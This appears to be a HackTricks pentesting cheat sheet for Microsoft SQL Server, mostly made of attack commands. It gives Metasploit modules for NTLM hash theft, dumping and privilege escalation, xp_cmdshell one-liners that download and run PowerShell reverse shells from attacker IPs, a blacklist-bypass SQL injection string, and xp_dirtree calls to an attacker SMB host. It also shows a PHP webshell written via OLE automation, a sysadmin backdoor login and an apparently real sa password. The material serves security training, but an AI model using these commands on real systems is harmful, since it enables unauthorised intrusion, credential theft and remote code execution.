hacktricks/network-services-pentesting/pentesting-mssql-microsoft-sql-server

1433 - Pentesting MSSQL - Microsoft SQL Server

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Basic Information

Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
From wikipedia.

Default port: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Default MS-SQL System Tables

• master Database: Records all the system-level information for an instance of SQL Server.
• msdb Database: Is used by SQL Server Agent for scheduling alerts and jobs.
• model Database: Is used as the template for all databases created on the instance of SQL Server. Modifications made to the model database, such as database size, collation, recovery model, and other database options, are applied to any databases created afterwards.
• Resource Databas: Is a read-only database that contains system objects that are included with SQL Server. System objects are physically persisted in the Resource database, but they logically appear in the sys schema of every database.
• tempdb Database : Is a work-space for holding temporary objects or intermediate result sets.

Enumeration

Automatic Enumeration

If you don't know nothing about the service:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

{% hint style="info" %} If you don't have credentials you can try to guess them. You can use nmap or metasploit. Be careful, you can block accounts if you fail login several times using an existing username. {% endhint %}

Metasploit (need creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Brute force

Manual Enumeration

Login

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database> 
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Common Enumeration

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
sp_addsrvrolemember 'hacker', 'sysadmin'

Get User

{% content-ref url="types-of-mssql-users.md" %} types-of-mssql-users.md {% endcontent-ref %}

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
       create_date,
       modify_date,
       type_desc as type,
       authentication_type_desc as authentication_type,
       sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Get Permissions

Some introduction about some MSSQL terms:

1. Securable: These are the resources to which the SQL Server Database Engine authorization system controls access. There are three broader categories under which a securable can be differentiated:
   • Server – For example databases, logins, endpoints, availability groups and server roles
   • Database – For example database role, application roles, schema, certificate, full text catalog, user
   • Schema – For example table, view, procedure, function, synonym
2. Permission: Every SQL Server securable has associated permissions like ALTER, CONTROL, CREATE that can be granted to a principal. Permissions are managed at the server level using logins and at the database level using users.
3. Principal: The entity that receives permission to a securable is called a principal. The most common principals are logins and database users. Access to a securable is controlled by granting or denying permissions or by adding logins and users to roles which have access.

\

# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE'); 

Tricks

Execute commands

#Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
#Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

#this turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#this enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

NTLM Service Hash gathering

You can extract the NTLM hash of the user making the service authenticate against you.
You should start a SMB server to capture the hash used in the authentication (impacket-smbserver or responder for example).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

Abusing MSSQL trusted Links

Read this post to find more information about how to abuse this feature:

{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} abusing-ad-mssql.md {% endcontent-ref %}

Write Files

To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
sp_configure 'Ole Automation Procedures', 1
GO
RECONFIGURE
GO

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO

Read file with OPENROWSET

By default, MSSQL allows file read on any file in the operating system to which the account has read access. We can use the following SQL query:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
GO

Read files executing scripts (Python and R)

MSSQL could allow you to execute scripts in Python and/or R. These code will be executed by a different user than the one using xp_cmdshell to execute commands.

Example trying to execute a 'R' "Hellow World!" not working:

Example using configured python to perform several actions:

#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

From db_owner to sysadmin

If you have the credentials of a db_owner user, you can become sysadmin and execute commands

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

Impersonation of other users

IMPERSONATE privilege can lead to privilege escalation in SQL Server.

SQL Server has a special permission, named IMPERSONATE, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends.

Identify users to impersonate

1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO

name
-----------------------------------------------
sa
john

Note how from the previous results you can see that you can impersonate the user "sa".

Impersonate sa user

1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO

{% hint style="info" %} If you can impersonate a user, even if he isn't sysadmin, you should check if the user has access to other databases or linked servers. {% endhint %}

Automatically

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

Using MSSQL for Persistence

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Other ways for RCE

There are other methods to get command execution, such as adding extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, and external scripts.

Post Explotation

The user running MSSQL server will have enabled the privilege token SeImpersonatePrivilege.
You probably will be able to escalate to Administrator using this token: Juicy-potato

Shodan

• port:1433 !HTTP

References

• https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users
• https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/

HackTricks Automatic Commands

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for MSSQL
  Note: |
    Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

    #sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

    ###the goal is to get xp_cmdshell working###
    1. try and see if it works
        xp_cmdshell `whoami`
        go

    2. try to turn component back on
        EXEC SP_CONFIGURE 'xp_cmdshell' , 1
        reconfigure
        go
        xp_cmdshell `whoami`
        go

    3. 'advanced' turn it back on
        EXEC SP_CONFIGURE 'show advanced options', 1
        reconfigure
        go
        EXEC SP_CONFIGURE 'xp_cmdshell' , 1
        reconfigure
        go
        xp_cmdshell 'whoami'
        go




    xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


    https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server

Entry_2:
  Name: Nmap for SQL
  Description: Nmap with SQL Scripts
  Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
  
Entry_3:
  Name: MSSQL consolesless mfs enumeration
  Description: MSSQL enumeration without the need to run msfconsole
  Note: sourced from https://github.com/carlospolop/legion
  Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' 
    

Support HackTricks and get benefits!

• Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
• Discover The PEASS Family, our collection of exclusive NFTs
• Get the official PEASS & HackTricks swag
• Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
• Share your hacking tricks by submitting PRs to the hacktricks github repo.